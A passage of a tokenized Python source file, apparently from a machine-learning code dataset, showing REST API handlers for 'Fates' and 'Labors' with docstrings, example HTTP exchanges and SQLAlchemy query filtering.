"\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "fat", "es", "/", "3", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creati", "on", "Event", "Type", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "follow", "s", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "prece", "des", "Id", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "for", "Creat", "or", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "for", "Owne", "r", "\":", " ", "true", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "New", " ", "desc", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Fat", "e", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "update", "d", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "string", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "description", ":", " ", "The", " ", "new", " ", "description", " ", "of", " ", "this", " ", "Fat", "e", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "boolean", " ", "intermediate", ":", " ", "The", " ", "new", " ", "intermediate", " ", "flag", " ", "value", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "403", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", " ", "insuf", "ficient", " ", "permissi", "ons", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Fat", "e", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "FA", "TE", ":", " ", "Update", " ", "{}\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fat", "e_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Fat", "e_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "fat", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Fat", "e", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "description", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fat", "e_", "=_", "fat", "e_", "._", "update_", "(_", "description_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "description", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "follow", "s", "Id", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fat", "e_", "=_", "fat", "e_", "._", "update_", "(_", "follow", "s", "\\u", "id_", "=_", "self_", "._", "jbo", "dy_", "[_", "'", "follow", "s", "Id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "str_", "(_", "err_", "._", "orig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "fat", "e_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Fat", "e", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Delete", " ", "a", " ", "Fat", "e", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", "Not", " ", "support", "ed", "*", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "not", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Labo", "rs", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Labo", "rs", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Creat", "e", " ", "a", " ", "Labo", "r", " ", "entry", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", "Not", " ", "support", "ed", ".", " ", " ", "Labo", "rs", " ", "are", " ", "only", " ", "created", " ", "by", " ", "Fat", "es", ".*", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "not", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Labo", "rs", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "all", " ", "Labo", "rs", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "labor", "s", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "limit", "\":", " ", "int", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "offset", "\":", " ", "int", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "total", "Fat", "es", "\":", " ", "int", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "labor", "s", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "23", ",", "\\", "10", ";", " ", " ", "\"", "startin", "g", "Labo", "r", "Id", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "labor", "s", "/", "23", "\",", "\\", "10", ";", " ", " ", "\"", "for", "\\u", "owner", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", "\"", "for", "\\u", "creat", "or", "\":", " ", "true", ",", "\\", "10", ";", " ", " ", "\"", "quest", "Id", "\":", " ", "5", ",", "\\", "10", ";", " ", " ", "\"", "host", "Id", "\":", " ", "2", "6", ",", "\\", "10", ";", " ", " ", "\"", "creati", "on", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", "\"", "ack", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", "\"", "target", "Time", "\":", " ", "timestamp", "\\", "10", ";", " ", " ", "\"", "ack", "User", "\":", " ", "string", ",", "\\", "10", ";", " ", " ", "\"", "completion", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", "\"", "creati", "on", "Event", "Id", "\":", " ", "127", ",", "\\", "10", ";", " ", " ", "\"", "completion", "Event", "Id", "\":", " ", "212", ",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "],", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "host", "name", ":", " ", "(*", "option", "al", "*)", " ", "filter", " ", "Labo", "rs", " ", "by", " ", "a", " ", "partic", "ular", " ", "host", "name", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "startin", "g", "Labo", "r", "Id", ":", " ", "(*", "option", "al", "*)", " ", "get", " ", "Labo", "rs", " ", "by", " ", "the", " ", "Id", " ", "or", " ", "the", " ", "Id", " ", "of", " ", "the", " ", "startin", "g", " ", "labor", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "host", "Query", ":", " ", "(*", "option", "al", "*)", " ", "the", " ", "query", " ", "to", " ", "send", " ", "to", " ", "the", " ", "plugin", " ", "to", " ", "come", " ", "up", " ", "with", " ", "the", " ", "list", " ", "of", " ", "hostnames", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "user", "Query", ":", " ", "(*", "option", "al", "*)", " ", "get", " ", "labor", "s", " ", "for", " ", "machine", "s", " ", "owned", " ", "by", " ", "this", " ", "user", " ", "or", " ", "for", " ", "whi", "ch", " ", "this", " ", "user", " ", "is", " ", "responsib", "le", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "category", ":", " ", "(*", "option", "al", "*)", " ", "limit", " ", "labor", "s", " ", "to", " ", "ones", " ", "where", " ", "the", " ", "startin", "g", " ", "event", " ", "type", " ", "is", " ", "of", " ", "this", " ", "category", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "state", ":", " ", "(*", "option", "al", "*)", " ", "limit", " ", "labor", "s", " ", "to", " ", "ones", " ", "where", " ", "the", " ", "startin", "g", " ", "event", " ", "type", " ", "is", " ", "of", " ", "this", " ", "state", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "boolean", " ", "open", ":", " ", "if", " ", "true", ",", " ", "filter", " ", "Labo", "rs", " ", "to", " ", "tho", "se", " ", "still", " ", "open", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "quest", "Id", ":", " ", "the", " ", "id", " ", "of", " ", "the", " ", "quest", " ", "we", " ", "want", " ", "to", " ", "filter", " ", "by", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "expand", ":", " ", "(*", "option", "al", "*)", " ", "support", "s", " ", "host", "s", ",", " ", "event", "types", ",", " ", "events", ",", " ", "quest", "s", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "limit", ":", " ", "(*", "option", "al", "*)", " ", "Limit", " ", "result", " ", "to", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "offset", ":", " ", "(*", "option", "al", "*)", " ", "Ski", "p", " ", "the", " ", "first", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostname_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "host", "name", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "startin", "g", "\\u", "labor", "\\u", "id_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "startin", "g", "Labo", "r", "Id", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open", "\\u", "flag_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "open", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "quest", "\\u", "id_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "quest", "Id", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "query_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "host", "Query", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "query_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "user", "Query", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "category_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "category", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "state", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "s_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Labo", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "filtering", " ", "by", " ", "category", " ", "or", " ", "state", ",", " ", "find", " ", "the", " ", "event", " ", "types", " ", "tha", "t", " ", "match_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "these", " ", "condition", "s", " ", "and", " ", "add", " ", "them", " ", "to", " ", "the", " ", "query_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "category_", "or_", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "types_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Event", "Type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "category_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "types_", "=_", "event", "\\u", "types_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Event", "Type_", "._", "category_", "==_", "category_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "state_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "types_", "=_", "event", "\\u", "types_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Event", "Type_", "._", "state_", "==_", "state_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "valid", "\\u", "event", "\\u", "types_", "=_", "[_", "event", "\\u", "type_", "._", "id_", "for_", "event", "\\u", "type_", "in_", "event", "\\u", "types_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labor", "s_", "=_", "labor", "s_", "._", "join_", "(_", "Labo", "r_", "._", "creati", "on", "\\u", "event_", ")_", "._", "join_", "(_", "Event_", "._", "event", "\\u", "type_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Event", "Type_", "._", "id_", "._", "in\\u_", "(_", "valid", "\\u", "event", "\\u", "types_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "speci", "fy", "ing", " ", "to", " ", "filter", " ", "by", " ", "open", " ", "or", " ", "close", "d", " ", "state", ",", " ", "add", " ", "tha", "t", " ", "to", " ", "the", " ", "query_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "open", "\\u", "flag_", "and_", "open", "\\u", "flag_", "._", "lower_", "(_", ")_", "==_", "\"", "true", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "s_", "=_", "labor", "s_", "._", "filter_", "(_", "Labo", "r_", "._", "completion", "\\u", "event", "\\u", "id_", "==_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "open", "\\u", "flag_", "and_", "open", "\\u", "flag_", "._", "lower_", "(_", ")_", "==_", "\"", "fal", "se", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "s_", "=_", "labor", "s_", "._", "filter_", "(_", "Labo", "r_", "._", "completion", "\\u", "event", "\\u", "id_", "!=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "quest", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "s_", "=_", "labor", "s_", "._", "filter_", "(_", "Labo", "r_", "._", "quest", "\\u", "id_", "==_", "quest", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "startin", "g", "\\u", "labor", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "s_", "=_", "labor", "s_", "._", "filter_", "(_", "or\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Labo", "r_", "._", "id_", "==_", "startin", "g", "\\u", "labor", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Labo", "r_", "._", "startin", "g", "\\u", "labor", "\\u", "id_", "==_", "startin", "g", "\\u", "labor", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "user", " ", "want", "s", " ", "to", " ", "filter", " ", "by", " ", "a", " ", "specific", " ", "host", ",", " ", "verify", " ", "tha", "t", " ", "the", " ", "host", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "good", " ", "and", " ", "add", " ", "tha", "t", " ", "to", " ", "the", " ", "query_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hostname_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Host_", "._", "hostname_", "==_", "hostname_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "one_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "sqlalchemy_", "._", "orm_", "._", "exc_", "._", "No", "Result", "Found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "No", " ", "host", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "labor", "s_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "s_", "._", "filter_", "(_", "Labo", "r_", "._", "host_", "==_", "host_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "._", "order", "\\u", "by_", "(_", "desc_", "(_", "Labo", "r_", "._", "creati", "on", "\\u", "time_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "user", " ", "specified", " ", "a", " ", "host", " ", "query", ",", " ", "we", " ", "need", " ", "to", " ", "translat", "e", " ", "tha", "t", " ", "int", "o", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "list", " ", "of", " ", "hostnames", " ", "to", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "host", "\\u", "query", "\\u", "hostnames", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "host", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "params_", "=_", "{_", "\"", "query", "\"_", ":_", "host", "\\u", "query_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "status", "\\u", "code_", "==_", "200_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "FIX", "ME", " ", "--", " ", "coul", "dn", "'", "t", " ", "this", " ", "just", " ", "be", " ", "hostnames", ".", "extend", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "hostname_", "in_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "host", "\\u", "query", "\\u", "hostnames", "_", "._", "append_", "(_", "hostname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Ba", "d", " ", "host", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "host", "\\u", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "user", " ", "want", "s", " ", "to", " ", "filter", " ", "by", " ", "user", ",", " ", "let", "'", "s", " ", "first", " ", "find", " ", "the", " ", "hostnames", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "machine", "s", " ", "the", " ", "user", " ", "wou", "ld", " ", "be", " ", "responsib", "le", " ", "for_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user", "\\u", "query", "\\u", "hostnames", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "created", "\\u", "quest", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "params_", "=_", "{_", "\"", "user", "\"_", ":_", "user", "\\u", "query_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "status", "\\u", "code_", "==_", "200_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "hostname_", "in_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "user", "\\u", "query", "\\u", "hostnames", "_", "._", "append_", "(_", "hostname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Ba", "d", " ", "user", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "user", "\\u", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user", "\\u", "created", "\\u", "quest", "s_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "quest_", "._", "id_", "for_", "quest_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Quest", "_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Quest", 